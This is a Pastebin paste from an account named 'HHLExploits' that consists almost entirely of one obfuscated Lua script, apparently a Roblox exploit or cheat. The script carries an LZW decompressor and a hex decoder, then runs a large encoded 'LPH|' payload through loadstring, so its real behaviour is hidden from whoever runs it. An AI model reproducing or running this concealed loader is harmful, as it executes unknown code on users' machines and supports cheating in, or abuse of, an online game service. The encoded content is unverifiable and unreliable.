Advertisement
HHLExploits

hi

Jan 13th, 2020
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.12 KB | None | 0 0
  1. spawn(function()local a={}for b=0,255 do local c,d=string.char(b),string.char(b,0)a[d]=c end;local e=function(f,g,h,i)if h>=256 then h,i=0,i+1;if i>=256 then g={}i=1 end end;g[string.char(h,i)]=f;h=h+1;return g,h,i end;local function j(k)local l=#k;local g={}local h,i=0,1;local m={}local n=1;local o=string.sub(k,1,2)m[n]=a[o]or g[o]n=n+1;for b=3,l,2 do local p=string.sub(k,b,b+1)local q=a[o]or g[o]local r=a[p]or g[p]if r then m[n]=r;n=n+1;g,h,i=e(q..string.sub(r,1,1),g,h,i)else local s=q..string.sub(q,1,1)m[n]=s;n=n+1;g,h,i=e(s,g,h,i)end;o=p end;return table.concat(m)end;local t=function(k)return({k:sub(5):gsub("..",function(u)return string.char(tonumber(u,16))end)})[1]end;return loadstring(j(t("LPH|6C006F00630061006C00200063006800650061007400670067006C0049006C006C00310031006900690031000E0169000F01130114014900120120003D0020006100730073006500720074002000000102010401060108010A016700140117011B0110016C001301100149006900350113011D01200022016C00650063002501270103010501070109010B010D0132010E010D011B01360114011201350149000E01390174006F006E0075006D00620023012601010141012A0144010C0116014601110161014F01300131004901390175006E007000610063006B005901280142012B010B012E0165014F010D011A0111013501460139017000280104014001290143012C016301180132012F01110176016101390122017400660065006E0076006E015B0181017201100112013301610117010F01750149008A01650074006D009E010901610062003C0191018001710167003501650117011201310116011B011B0131005101790070006500A60170015D0113017401960115011A014F012E0104011E0167009E018D018F01B7015C012C014601BA017401B101970132011101690051016F0073007400720069006E006700C70193012D014D011A01170113014A01AD0115013901230172006F007200DA01A8017901AB01150195013201310133018A01D501D70167002E00730075006200E9015D01100133019901E00112016501ED01D1011E01D401D601D8012E00620079007400B6017F01B80182014D0163017301360118014B01F2010602F50106016100E8010D02C80145010E017901360115013001FF01340103023A01F3010702720065007000FA01C901AF014B01D0011801000265010D011602F4012E006700F701F9011C02DB014601E101AA0179014F01870136019C0104022802F5016D00090106012D020B014202CC0199011501ED01BD01C1012000B2010D02660068013E01690053010E021E0276014E024D01FC017801460128001D022D0141020F0185018501AC0113022C005D020C0161014701480152025102100129004C02A9014E014601CF019501BC0111016F024B017B026A021901FC0150011E016602CA014E014C01FE0133029A016502DB01EB01CF010E014302F00117018F02A80181024801830297016D022000350029006E0222002E002E0022006E0258026E005A0253019702FB0144023402CA01CB01AA0131007702690066006F02FC01DF011402E10134013201AB02C901AD0269021601B0024C016E02320077023D001E013700B201740007016E006F02BF011F0232027D02CB01B20187023D02AF019A014A01B1024B017501BD024D02AC019202EE01DF023301DD020C01BF029A016B027801C30255026E02B20277022A02740075007200CD0222002200200065006C00220178023101BD011302EF01C001ED0139016602D90211020002FD02E0016900E4028902D802DD01D0014E010E010903E602AF024C01B102EC0236002900B302B50202037A0248011401D2024C01CA02CC0278021F021D03840218018A0214010103D602760147012202AB01210225020903010237011C03CF01AC010E016E021A0313021C030102D0011F0377023903D0027C0298011F0339016E0017012000EF02F102CD02020388016B026902DB02BA01F602F802B6014903F202B6023203E0018401FF0250018E016400F6026E005E035D0377025702590274005B024B032A0376011D03AB014F03AD010F0363035A01A701B9017B026201DF019302CF01D4025703FD01B9020002BB020803660299024F03DF019C023703CE02B10149015002B00125026C00380390028703BF010F015102930279013F038E03870190033401520279012903EA018F0379019903930347032B00550248039E014A0380027403E9024701F0017F025D03B701A702A9026803A8016001A10362029F037D02280070036F018003A90353021302EC0131008D03B303580306033503BB02C2035D0123032E03990147014B011401C80382017501AB01EB0142023002790388029601EF018501BA020202E402810314024E036102D0034D029E0389039A031701E303790297039F0392038B032000A303330095039D03EB03E603B5039C03C903E50391038A035302EF0320003400A503F00256031A03770381022D03D60320002A005502360037000C04320031003600FD034C03AA014E032603CE03B201090436003500350033001004A303D8032502C5035B0304010904320035001D04A8037302AA03BF0378035F035E036403A80266035C0288028303310134013303DB02E4026401250362029A018701E9038202B101BC0142023202E803800275018B02AE0262014D01180346041601D001490478014D012000CB028E01FA027D02130476035002CF03B6021C03FB032F01FA032E014502200030006E02300020006600E701280442024E014D0132033401F7032E02C00243032D0344048C034D0478031D03910351043601200064006F00B60257042403CD0391032803D502B30381046C0381026202FD03320020005E005C04260352025F0425025204090433046A023402220207034E01390401023B047D030D013E046A04B00121022F039A03F203FB015D0492047403AA017C048604A904910493029304BD015204A303B201AE035503B203FB018804FE02EC032803F702F9023C02B3031D03B001B404C504920339018D048F0409039A024104BA014304C60320002D005502EE02A60302043D02C40492037701B101B00120003C00AF040F02B702CC03A00487032000250020001003BB01A404920351049C011E04D804EA04C60451029203770261006003A40369046604AE03AE032F04B103900492026E049801AD01B9037802B3042A04040411013F04C4033403220470045E02E703B603E3041101B9033F0493038B030002B70361010405B40228047A04BE030805D4021E016604F6045E031F04FC020C05E2018602220553042103B90463042D040004A70328002D008D049604D8049804FA0337049C04260533035A03290576043300C502FD03B20208042000CA04E8049704CE0136049B043601310320042805360376040E046E0233004405D304310030003200F10345052800100338054B05500349004E0527053E055105EC02C402300077020904340032003900340039000B046D052704BC0329041F05AC0344052F00FE03350030003300350039007005320037003300370030006F0527044405FC047103670465036703CE02FC0296014002C002A104CC04BE010D0305039A013601BA039201B3034E04ED0164016301290579037B007A03B802DB037D03DD0380036802E0038402E2038603F403FA031005E9034E028803B005F603F00377027D00AE054F02B505EE03E004E403AF05A003EE03A303FF03C204B9014402EE017A029103A104A205200046037604CE056E02D005CD054504D205D505D4054703B9056804E80174056B04A5049F056F041E01C103200038007D047F048003C7059703FD02AE0111015B00DC05A404D902010549005D000E05E5025F059A04610594052D036D04C0015F02E9032F01DD05F005BB02150177028905BB03DB01500212031805BF0185042000F40267046904EE05BD0101069A033901E205FF037E04560475038904BE04E2058802AA04B204AC046104390164042F05DA0590040202AD026C026101AB0115066E02E4051806C5057104BC0185011002DF01220262044905DF0260058A0262051E0678031F023203D5039903ED0507064901EF056D040206F20515057E0329066202710269004C04E705D2037401EA05BB01310044069C054C06420633024302F305C702A4035404BA043206BA013406440236066301F40560016406BA01660692024F011D01E1051F01F70466046904B704F7048802BC0459048404D7033D02790683048B04A30347053E062C0320067302AD049C013605590633066C069003BE019C0183062102850660045204BE055E01B104FC012106B504A403AE03BC03AE01E8028E06510395060806C102730111022803A302A8039E0619010A06370131002E001902720009037E068A0400020406F704310694017505200220050A054F056505C703CE024D033B0450035B040304F001D403D9024C016906D903FE01A5046E047F034506AA066C063706BA016705FE03D50401046206E4030404C8060C0317040A040C0437000E0473059002C20633011504AD06450519041B04E406C303BE06FE023F0545052504ED067303BA06760377053005FD043104DA06A901D4069601E706ED019103F9054E02CE0699014E019A0572037104E7022B062B04D40669061605530218051205310004051A03C005ED03FC039506B305980318079B03EF0459060B07980177030E07B8062D01E80554069A0256063901A305D605CF05D7052E073007D1052F072000D90510064506A0056C04A60493032D06E305E505800227075F02690256065806F506000648069A035E06B602340499040B063C060307CD01E10106073601FE054606120647079303B6062E048A059D0674019F06D4060C060E06260611063907DF05E301E1054B0621070D03FB0211023E0725071E0558047F06000268079106980686062206220565040F06DB052A0328065B061F032C0667073D0730065B077C076B0661042002370669064B0739054C053D063D02CC067C036B031601DE03AA059B026C0285031607BB05C105FC03D3048306600122076B07BF011104370746073A076F045705A0022706C1027E072B063201510607064007C905EB0557063E067D074A014E065D06700660062103B507860735066E06380685072403870767066F065F06B20124052F057506300578061A06BD045A047C068704CE077A06800646058E04FF0474076E0393067C048906B0048B06C407C007D8075E049906AE04E207AB0476079A0676062505D1065D07AB06A0060C065C070906EF07B201A806F107A406AC06BA01AF0668001A02B206D3077107140159073105D7049802CA05F707F307F9068407EA01B40522024207770310010F0798056B03DA03C6036F032203FD018A03BB026B02380195067B02AD06F0016D035F040405FA068D053304C504AC01D30366064D050807800242047102230261022602A3055B003900330038003800370049077B007D006E025B000C0430003600360039083B0820005B001101340036003900350042083C0835002504310038004208340756049903AA0311029F03390123007B003300340033003300B90583061E086C0375041508B507B5031207420713052B0802039106EB01CB014203D107DE076608DE016808140777026207A4074706A607660780045408530256089901B2056C086C024C016F083E0780032D089703EC011302690045083100470849085D0044072C01FF05790865079C019D077D067D084102CF0299014907250851022708CD034D07040505069B05C9038208B70243023C031008100567081E050405D30428005908200036004F083700C4023608EC02370038006805530546057B05BC08B40831003500C108320085056E02340030006E05540539003F08C8083400350034006E02D1084908C80884053300EC026101C808390084056E02370040086E0236005B083200C8083000BB08C8080B04D208B40837003900E205D40833005208B6045D08E20634007608360704083807DE05F1056906B00555089C080F018108B0016D0884086B03B201830706069D03A5064F052F08A205B90525077007E2018902F30410086A0301021308C00115081C056B086C031109AF0113095F06B3083200C908B70820001C04330024063400F408D3081A04D8089E023600C1085805DD089E028305E40855023500EC0234003909C4025D08EA088305310024092209EC08E808C408C4028E08350938005805EC023800830515034C09250930004D08E1086F05E205C30831002D095B081B04D308860568054F08F108460539002C055504390318050B09C0035B004D08CD085008140961081709DA0704051F07710817057308AF08770270090A07770102064F04960201081A09900282041D0984067F022009A3050B04260454057D0557090B043900E1086E0535093300DC08C1087B0524064F083708EC023200C10836005B099E026F058B09550229098D04B905610686030A0927050C0967096D0530006A091C083B0365077A096C006F09D807750274029705A408F7047D09EA017F09DF021E09B101BA0721093000A909C40229092D099C092D092209C308D308410535090E041A045C09D6083209340058053600E1083500C7095502BF09EA088F089D091904C0099E024B092406E908370925092909C108D0099D095609BF0945093800EA08DC08E109B50895095502BB08A009FD036E056109FC06BF016409A50966096809A9099E089002FE06190189034207B208A305410586095502EA09EA082504350931000E049809D00835093400EA09E4093500C902BA085609EC02C408100A4105C8083200360035090B047C05DB08150AFE03210AFE03DC08D20925094008ED093909E2052F090C0A4A09E008D609390035097B053900E405B905A3037F057C0919037E091C09BA09810921052000B3080D048709E608D3086E05240939091C04CC08D509D0099709E1085009C5097005E1098E08140AC1091606140AC3094908E109C9080F04450909055502C608D8096F05EA080B040B04D908BE08C608CB082509D409DA09CA088E09C209E50830002D0A7E05370A43056604A20963091A0165097803A7096909FD09EA01FF0925030107100139040B087501FA0335048805B6093C0AB8093E0AAA06C704BD098409C408E6093600CE084605380059058709C608C809D1085405970928093F09E2056D054209240ACD08E1082709A30A8305280AC608CA08E1088E08EE082709280ADF0857095C08EA0831003408ED093608E205330AB70A0F049D097E0599093B09990A1503B201380A610AE405790A8E03A4093303A609FB09AA098E050403000A890A0207B308050A280A4F083A09BF080B0A0D0A52095109FE03120AC808140A5409C9022D09C30838001A0A100A1D0A1F0AD708220A1606250A6F05DF0854052A0A5209D009E10848090B0A3800310A5805330AD308CA08760A390A39003B0ACE02B909900A1F091E0121091101ED0959059D09A809E2053E099D093708490ACD08DA094D08490A2209ED097D05DF09F60AEB08C20A5F09D5094F084F0A9E02E6080D0B5B0AE808270954054809ED0984050B0A650A960A24063200EB0AC4026D050B0BC9025E09C608F008CA0A0909F809CD0AFA09A809D00A9006B2099302AE09B009410BAD09B409030B1B09EF01800991068209080BA305560A290AAE0A200037005909B408730A2D09660AC309E80A130B5A05E1086D0591095505C508ED08470970051C0AA50A1E0A6D05CC084708290BE206C8085505340A2A0BEC027D05C00A360A240919044F08C4022F09300B5E0AE305110A5405510A5E093109F509A3093C0BE001CE0A3F0B4907D60AE308C402EC08E609530B5D08CC09B408D008770B27092D094D08310A110A1D0A8C09280BFE03440AFE0358058E096D059D09C90298097C05E109E70836096B0AC609340A9709BC0A460A46050C04E1092604EA09820B8E088205F008830925098C0BB10B7F05EC02900B7D052B0A510BE208250A980B280A9A0B280A48089D0B29096E0BA00B9A0A2509A30BDE08790B570B7D05DE0830097E05090A4E0AD308AE0B6E02CD084009B20BD3082F09FF03C70A4608B80B3005B709A7088F0AED07910ABA0B960A38005C0A5505DA09700540095A05300BDF08490A4808D90B5D08FE0AC00A310B1F0AEC06CC080C04D9084909E00A6C0BBB0BB30BEF09C902240958057D0BE2088F09CF08FD0AE00A7D0BC4089D0B1D0A36085E094908840B7A0AE703BF024C017E0AFC09580884094908A30A31095209960A330B510B1B047F0BFE03960A280A7B059E0A4605D009E1090E0432098305E60AC608EE08DC08100AD009C509BF092D0A340A270C9E022F0C730BB80AC808E709500AD70BDC08290BDA0A110184055E094B091E0A3500920A070C2E0BEA0954054F082D0A330A540ACA083D093F094009CF0B6F05560C5F09DF0A6C05300B2B0C6F05D409D3080C0A1F0ABC0B5C083009D109C109CD0B5C082F09540539092406140A25043B090F0C2509990AC60AFD03B40AF008AE03E80B8201050BEB0B070B420AA3058105D30B250444099E023F09E4094A0C460597093509360AC00A1C0B81051B0A610ADA0A6C05EF0BD608040C4608190BCF0B1D0A720C7F05E1095B08E20843095C0A3700D008D309BE08650CF008E40B20036209CB0A860B1D0CEC05CF0A800AB00400057909480BCC0707068808BB0135031601A709D40950089208B906A5079608D2047C08F3047E08FF086C00B90CD103CC0A870BC003BE0C20076C09CC031809AF09A8040A07D80C20086402DC0C7201C00CA104C20C320145083C094B09D10C5E0215091F086308DB0CAA07720953027409F00C11077309B803E10C9606EC0C62081408EF0C8708CF042E088A08C30C1101CA087D05EA0CF90CDE0CEE0C1507BF0CFF0C8908E50C8C0899093F093000060D1D086406FB0CDA0C0A0D8A067208F20CF70C160802098308AA089501AC081A0D190569087A07A30456077A08C10787049A0894088A0401099A04A908EC01210D1806FE0C77010D0D6104E60C3E08400891086307FA084906130D10076D081B0D1A0501086508F10C240D7508FF04080DFC0C22080908A7081E0D310D8508AB0949062A06480DB008E804B308D009C10826092809330A54094708540AFA0A5B0D6D0CC90228091D0AD8095B086F0BDC09E2081C0B2F098105FE0A9C0AC208D50BFE03690D25097F050B0C680952092209E108550B100AD40954090C0AAC0A5B080D0B8F0993093C0C820BF3085C08F6087B07F808C90CFB081C08FD08CE0C8A020009040B500D7E0285080709A608930863021805CC0651072B070E094E0DBE0261024E040E084207F405A4042E013002CD0493056B08760301070107000A50062C089204A008AF0D2E01330829094A088A07F6054D0738043304A40DE002AE0291036E02B308960A6F05AF0A1C0B56093800E60934084009DE0B330B060C290929098D0BFB0B540B3F09D308E206D80A1D0ADF094109BF0BBE08B00A9D0929092F0A55028F09390C110CFC0A5D0C910C3109A40B600A600BAC0AFF0A5E09EA08B30811013508180A1C0B7F0D5C0A85059D09740B2809730A1C0A2B0C8305ED08DB08360AD608740C610A4E09D008750DD108E409FB0A110AFE0D050EDD095C08CF085C0A2504A10A24063608D80AEF0B770C4808000B2000020BB40DB204B60D2C03B80D210B130D8B073B06BF0DF0043A03C20D6902C40D880C9E02BE0BB408DC0DE508E40DD409D20DD108390C6A0B740D9B0BD6099D0C25090F042E0CF4083407C50D500B100DC808CC0D490A020EDB08CA09B508280A41054B095209D30B140ACC0D5209F60DE50D450C1F0B490AAB0C090A4F08770C550BC70B7F05FC0D360C1503C80D740D7F027D00F80C1303B6039E0D0503E70C56094D08270EBD0D3A054D05C00D2C0E7B0AC30D1001450E7D05E80A4308C60D370828098F09340A8F0CF70ADA0AF306650A37080E0A3D0E5C08B00B2604A90BEC08A30A4B09C509550BC4022604CA09FA0AD809DF08820D710D3408E409C308E30B6A0E9C0D770117086E0E0C0A5D08C608720E4A05F7054E07760ED002780E2E0E7A0E300E3909AE0CA909C70B0A0E480C57093E087C0D220B2709220B81056C05EC02DC08A40BDC092504B908E00A0D0ED5098C0C2D0AEA09C90BD00DE00A110E2709690C930B5905440E300E2709E8093609190468059D0B6C0D8E09F70B290B50092B09EF098F09AB0CDD0B4E097D054808C809C40AD00BE10E330E5E0BA00B920B1904310B4509D20E3508730D6C05560B9709750DD009970C6F05B00CFD039F02210E6C0EA40E250E11013900A90E3A06AB0E2A0EC304C10DAF0E2E0EE2055908350826047E0E500B5805300B1B04240935086F0D9E02E00BB408C10BD308EF0B540ADE0D46058A09D30956093407A10E0C0DC10C380D8C089D0E37083C0D7808280D9608060D6B0E9D0D040F1C01B804D604FC06AA0DCD0CE40C2C0F08086F01B003FB06B40D7E03230274071401DE03E30C2F088B080A054302880A740264011505200550077D03B30D6E0793035D07E90206072E0EFE05DC043E02880A6B04350139012D00540966046E07750730019501FC05F0070B0D360D2B0F3008330835082F0F0505600FC7055E0FFD01F4052708AC053102D8020D0128003A086E02A3055F005F00D7016400650078003901420F6703CC046A0F37014D0B2006B10E3E06870B3406060487017602050505085E07A60670089B0D2A0F3E0F700F4D08C50C300F5906930FB002E1019904F305830CDE02AC03430B4B0B6A023904850C1209B101DE03990FEE075F075706B80CA9075409C6021E0122007300F502A2092E053208B80CA80DE2027402AE0FE302F6079A0F0B06B80F890BC402B80530052E05CA0FB60F9B0F3005690EFA0223072D0343046302EF013901100D4E0C570F84063C04B10D5F04790F4A0F010DE60C46084808BB0DE10FDA07980554063D032602CF0A2203B4058203AF0DFC01E60F9E0F4B0F020DFC0A050D22033B037C0F2C0E42023901480A520C570F5D074F0349010B08F90F6E0F9F0F8B083D0884053B0DF40F0E039005850239051506060FAF038C0532047E09AB03CE06820351022800A3022E006A088F0772025A03140276032306050530026A0F0F0F1609CC05920F9F076201DB0F49017F0F43081D066D0F3D0FFB0FE90FE80C33005D00D00F2507590340023D03F709890171060F090A10B60319088801A00DD80FF0067B0F7A0234023108A10D0809F8036E0891065903DE011506FA024F064F0F430B6401790FD904CF04A00603052510C304AD020B06110365012B0720002310520842103510C002600F1F024E104210BE010910CB0500055808330469108E0FD0043101CB0CB20177088D0D95088F0D6304FE05781084017A1077013E07AA0FA901F50F29102C03F80F3E00A20655076407FB08B6041A0CB00713047C0F7A04FB02C70C2D0197103E0D48078A077E10190180106501A1109408320F99105502F3059C0607067210D80248019B01AB10A31013069303270EA710D40C42076C00B710F908B9106F04B604B010B7068A058A0F1C10980289046409B30513022210A3026710C903E606D90C27039C0FE20C8601950225028E0F280022002300A5026E10D0104F100D03A810180750026D106F10B905D20FE5065804E706A208D5062706DD01FF01E3070F08A5080907DE02FF06A506BF038303210C5502410E730B570EA70E5B0D8105C508040CA90AC5094708170B550EFD10CB0B500CDB08E409190E570CE409340996091F0A53096F0B300C0B04090E2F0B54059A0EE10B3B0E48084D0A2909150B330A880D580529092C10B10D14105F0200036E07050386062303AA0D62042C072F07A6021B106E00DE030703550D99043C035407CA01CA014C0763014900D1107104150D37012B03D2031B083F07CE036C0E9F10EC055609700E3200F30549102708B5101002870662104B119D0D4D1157064F117D055111CB0C1B09000A1207200638010F096D0633012F02F210581146115A11EE014E115A054105120DD80F130302051F025F012602E705591178096E115C11060F5211A20DE4037D02C20CFF020003A20639114C117C114508E80AF30552068801CD0166062B066210CA038F1146107F0276094D024B0B0107030357115D0332077604C810371179116C117B118701600A9D065F014E04390563014D0FD5039E040C080D034B068B02DB036B033603120143111E0274114F047611FE026B119C02750289116101070F4F1045116811FF05B702BD113A115B116F0E5E117F115610840C8D065F04CE039106C8118811A5115C117011A80EFF0F82116104841186024A11A311BF11D6118A115F115311950155114402571186117A11E1113C03CB11710E60113D0A6211DE016411D101570F9505FB05AD015F0220008F10AF02C4034711B2040302E105BF0903129B109C05F711050798052A0DC6059D10F9114D1110015B004E08B01053035C04071251070912790F750F9B016302FD01A110FD112004FF11B702A30FDE0793044D03DA021301C510EB0798022D109E106E110F126B08D0118902E410F205CB064E0F8606E61101021D124002540FFC054E0128129E11351130048B0FA211BE11690FD6113D11A8117C023604AB115703950FB603430B9905C3119207C5110A109601D4116D11E2115D11EF110F09430B010DDD1154024312C911C0118B11F40F54113D04E8117707DF1144123B119501EE115F1198088E0AF21112069806651180115E01B911CC1077115612A411ED11C111CD119A0DDE0230126911D311EA11E01145127C12D811721152060509CC032D12B4077E098112CD03F210400D7A04CF04DA03AB064A018C0FFD02D503DA020E03AF098A123C038C12A5112E128F122002D1117F1015014010A1026000DA056000FB11460366034101760003017500B6016D007500D401200057011F01CD0555015701720022006A0E2B120D128D12A1100E0334048212DD04C41014093D0302022910A0089912B510C906E310DC029F122E106808A0102F12A51231126A11C410A9072200AB12E701AD1232016D0069002501B2126C00B4122000B612B812BA126100BC1256012301C0123F070C12A1123010C5126711A61232128C0493126A0F7B0ACD06A30ED0120B03D603DB020F03D5122C12A2128E12B8099012D211C9124605A9120D06E0127200AD12D4012B022000E712E912EB122501ED12EF12BE12F2120613C3120813F7120B13A71233128611F4122F10D812A412C71291129106F3056F120B128B1228133812D9122B130C13E30181068C119C108E114510B1028209F3123B1390053D13B201971190106512A104671252049D118B054112AA026012D5113C11A9064812790437064F01B7114513E6116612D20A0A129308871157127C125505CC11F0117012D40FFA108501DA114F060C0365127A12EC116C12260E1D0DDA12C8127B084E135E136D1388127E12F61076125104BA110A10DF016B1386126D137E115112FE119B08C71184126A12CA1159125F111E0677127B0A4704320192113113D7123313D6028C139E057711A90F8D0AF803DB116913581320003E00BF08520C3A0B9A13681330026A13A206191240062806E60C1A039B13A5139D13D304F306221263064004C4048B0227125203F902AC13A413AD049D13261391130E120913A313AA08AE1363022812F312BF13C41234136A027113EE04AF100F079513BB117D131F13F51229130A1370132C13B001400DD0137C13AB138E03AD13BC13C5132D044012B1033811EB117F13A611D106521340114B12D8034D120A068D0FB111310207039E049903560F75121E12FC022012551286136112581260135A1275125F01DC0F9B11681273137B126D13FF136E12040BF81063117312F5110114F812DB1283126912FD138712A70E72115B12DF135E127E136B124E116312F6117A137812BC11FC134F138013B80A77134A07BC106B1076041607CB057B0A84014A0169004B0656070209B00D14025D0F2703840400122E012914610FA810690F81101E013A08FB1199132E02DB138E13D1017E007106A209FC11B102CE049613BC114A142F05A21332066C04351473021402C50F2313FA1244138801CD0C8D1379125705B813B60165088F0F1808531078112610C705FE0292107C04B11098029C085A043B141C012B0584104507861049065A14D7133613CD133910190D661436146613340DB21039141610FF0674144D044B118614EE0743053D141E0DBD10CA05AB1071143A14E2041201340FC212D41393138510AD103F0DD60C7108801458148501B2053001CD01840A860149118708501096134E0F9E129C10C8132113CA136811D813A81299123310780135104F0110032A14A91076047E149F14C5046B04CA0566132F13CF117B1424131703040613126514C01467143714AE052E14A61447136914CA10AA147611AC14381127139213A312D613351324135D00B903490BDE13BB131B145214B20CCD028F1053065D12E20100035214780ABC077C075614DA0FC214A8142A13CB13B314CD13BA13C313E0130003B0136314AA07A014F314D314BF149203CD1466134413C612F6147C149E14930893148B146C062B1076149308B8105707E005950DC61432123314F114C114350438018314701485146102871402150C152015FA100F159A10D3133213DB1477149C14A5101A07A4147B13301496019214251573146900C6136F14FB01D3030C056D145B130F051A150515380162144A13A011E51385121D14BE1412153E11A9114A124F01AC11DC037810B0119004B211F3139806A00856130815B2140A15241474136F1117142814F914EA14A613141425141E14E411F713C1028313C611FB1364155D155C1109146015E5064613041494066D1507144E1170156213E90B71125210FB1020145F1450147D135C1577157D1127144414CD056F0025016E008915C713A0122A15C113C514DD1432125E061E0139045C128311EB142A0563047702541472013A03360D870B7F0792114013A11591119A10FB0460033F124B13E41306146C13E81304084B154912541349004F15A70551154B046713FA141B148315AE155C111F14681547147912BC15E7138515C211E511031456110514B007E61348156D122E130B147C1565137412CE115E02C4112F016B15F4142A12CC158813791566115B146A11C315CD15A60E71119813141221146014BC119F138C0C0512A904C115231477045F02A913C102DD130612E71581158F13B0132604B2130F052412130426123715FE148B13F615D1138F13BE138E15DA149015B8110316DC130016820C45148111E31499150401EA151A04EC15D1031A1412161812B510760F1B12DF01C5129715DC111916F915410839127507C002B513F10F1212B913E214BA1519160616D612C0131F1618166512C613291508162213171592123912EE15DF01060DE91498156A134A13D2054515AD15C4154712EF014C15B315B515B411AF11B815C7159A11C91575154516E2157915C414F710D115F4116F139215E0157615BD154508761373110B1648141C1488138113E10FD615FA13D915C605DB15C011DD15011420169C136302641662125F11E8147016C41385111E013708840BEA102A122911BF025614BF100C0ADF143208E315D9119515B114F9126A11570556097702E704F3063C087D123901F90580150416D1018C165B058F16060ACE152B10D70F39155C13D914311689161214D91345038C153616A216941362169713E213D30504015F088F07380D36041509E001450849074416CB1547155B114716D111EB134E154C12AD114E128D0F58159911E7115A137316FE135011CF156111641359167F154F149616C8167C126616681534061F1284136C155316DC15CA16B9156215BD135D16C415E3117115DC1409152413D21675135F158D153016C913F5145A15DE146D1032105C12B71464013610800FEB02E61595160C169E13540B620E72065E038E0B6009F708ED15AB16FE02D00F9F1645012E113905B41636014508BB0D1E01B816DA15BA167C11BC163F11AA115513641258134713C716E115DB1661135616A901AA0DD3067D15661367165212D71554126A165C136C16C9166113191411166315DA167416E3160317F91663161C17C011D416D4152017DF151314311758126016201404071612FA114D14D616F913D8161B0802120312EE14B30CF51542179705FA112F160713F61211120116AA164F173C12E507A9051B161A12AA138C08920F2617691637152516EE0F2512B6130D1677068F073512890A51042B154614FA0508125F029714A116EC16E416EE1693150B150817B2160C08AD06B51672110F17361146158713131751134816B2154111421161163517C215E016E21539177F1279023316DF163E177C12BF153A1759158A163D17B91683173F17E91625176A15281723159E152B175F13DC164F16C616F7095A179B1715140814DC161F17AD04CD160E141906B802E7065D176C10530DD9079207E0030E01251668164817001642100C07EC04EA047601761075127809AB06F20C3606A217A210F10FD20273107E0FF616820F840F6003870F890F8117B507F1108F0F9806910F2A03A50F1303A70F910356132403A406D7156606C607B40DBA11F304A1042303BD17C705A60F8D021001F3057D16B901D3031A086A03CF024900B616AB10F617D30ACD0A440210125D003E122000830F6E0065007700850FD61780174C13A1117C07DA17C014DC174915D515EF17E017F1171218260705036B068E0F5202E317FD178402FF17E81787087511EB178A033501EE17470415188408F2172C081E101F18A1154F01FB17A9148B082E18E717FA17511197141918E4179712F410F704D70F1115C80C781414068107CD07B4170607A913AA10B507E611351419171701F305990D7813FF083F054904051680046E0386126B0F0916260793113C137F07E51540036C020206BE105F17DE137803F91102101B019415AA07590FF913820204019D15DC0123188F039E0563189B149810791457053908EA165317FB02A3140504510553187418D2101410590361023604F305B905C004650076167E186118CA05811817166518FE01D00242026918A90563027611D1129A041616E20C71188908ED173D0DC210E3017818F016D602530F960524037D186D088D18F001C512F115151085182202871879175A18A415901147103F1344104113A215A7158C0A551845187D0F4104BF104918B7147404DC0F4D18FB164C17F6094A103C0B27165706230012047302780ECD042803CA12A206C217C704EC17C517F5100B142D18830341043E132218450F2E038A03480F4418FE024618CB0565014D0F3B156C17B209FE057502C9179F03CB17C1127417B014ED169917A5161A07E4174E03FF019111071770027B179B016C060C175609B716D817AB17651517185B0FBD161617B415C01650154D1650129F17D716D815CC17A8109C17A5172D170114C5165913A9173E152607A417AD171E17D015B117AD01D31590173F162116301708196E15E2165A16E516FA1237179D17E4158A17D016FA163219D3168615ED0F40158114130138148A142115EE073F04380D411147110107871502168B1723144B142D053A0F53047200E9120E16F816361936172B056F18B40300151C15CC17C7063C15FC189C018918FF14CC143D19CC179817A416371353197511FA16FD14FF18E50C4519410247194214B0161F15401926153C14751402171215C11014157213F71866190E19CB140415631986088414741936151A1685199514D10128152B0E98182303D918C218841946110E152E017317AF14F612A0187B193312390FD9064F19B4124319A40D83016F1948013F19921941190F156C190917B3167D170C17340006190C188217AC17AF157303B1155313881758151114CC13E7165E153419131947171519BA196F15A6171B1973155116AA17111718192219EF11AF172117F910CE16C015041782158D1765163A196F169217721638196D136312A81675174F0D39162D130F07A618F811F41534175419AC16A8190119301190050118D717AF19941795011417491688174B16AE11530653075315F2132B12B511F6133A175E14E519EF15EE194E118F1750181C191A171E19C0199C16CB190C14F311B217DE15DE19DD04D819BB19D911BD194611BF17071A8913331717162F1793172C1984152E193F18A2107A19290D7A145B16910615053C168F131E1530130716A9167518A410BA1045034703A81529123A15E8190B17FA174108EC19AC151C1ABD1558157716FB14DE11001ABE1567159717041A7415C6196B1612172C17CA1924192217D2150F14FC1969151419A117161A6E169717B819F714161A4017CF194A19D119411A8D0886154D14271AD1011416A113EF14F5155C1A54185B170912F21583023B16D019F815BF082416BD07B413F00FFF062A166414AA16681A161998148F156E1A7A1AC6137616D6190003641A9B1891171A1AD719F0159D12770F1E1661154016AF13711AFB1596066517FE156717771A8603821A401AAE142B1ADC19191A2D163416B31855157B189A14DD19241AF91868197B136316E7048D1A2A199D13E719B018021931118D08AE193A1AC719B1190A19E7020C194D1589170D1AA51A7C19B51A09195F169E17D516BE17BF19101AC1191A19501A621A161A021AC106C4194813471A2A17491A19194B1ACC164D1ACE1997173E1ABB15D21932177A18201397197D19CC13340FA813CB05F3158F181318A01748116317731AD318751A19013516B0077F1643048116A418C303351AAB19FA173F100A05F61A0319FA1711015D00FA1AAF1AE919B5165111001BFD027C17FC1A4508AD19051B2F11361A3D08FF1A7A03011B0D1B58050F1BD803FB1AB11A070F0B1B0A17F71A6709141BB116111B1B1B31001D1BF51A1F1B081B4108191BAA19081B0A1B101B061BB01AEA190519271B071BB11A8316301B2D1BB516C308221B341A241BB11A120D341B021B0C176A0955104101A0118914A519751912010405770068001701B601D501E9124F18DB1AD611FC0856183B115818AB109F15F304A515610139132A125B18BA1891112613B51895114313A403670FB1022B0382025215D30F2217CC0F1505CC103A0631140F016210F11AA4147407561B2119EC050510F305C410B0190919AF078704661B9F0329075204C10F4E196A1BA5066C1B5C046E1B3504701B0401321A400F9017A903030330083C0F3D11ED076B1BAD066D1B8D136F1BD9035F120B0DCC01401368029407351589197E1BBA0C7B049B12650628034C140F16A210D206871BE906C9071E068A1B34028C1BC8187C16851BDE17B61437061609B914861BF8075B041718471373188B1B9C1B0108601977104804AB0DD7129D1BA40F8A020110F117620522004C00F102610070006800200053006300D601700074003A00F502A806CC04081030147611AC01561B5D1B591B7F02A3186904F4027702A80622003A000D06E010531584080407C60F471BBE1BF307DE125B005E003A005D002B003A00250064002A00F01BDF101017AC028010F707B40444051C058B1525013E063F027308CD10BD1BD804081CE8020A1CA102D31B7200D51BD71BD91BDB1BDD1B011CF212841B9C190E06321A290F4002DE1897051501E5137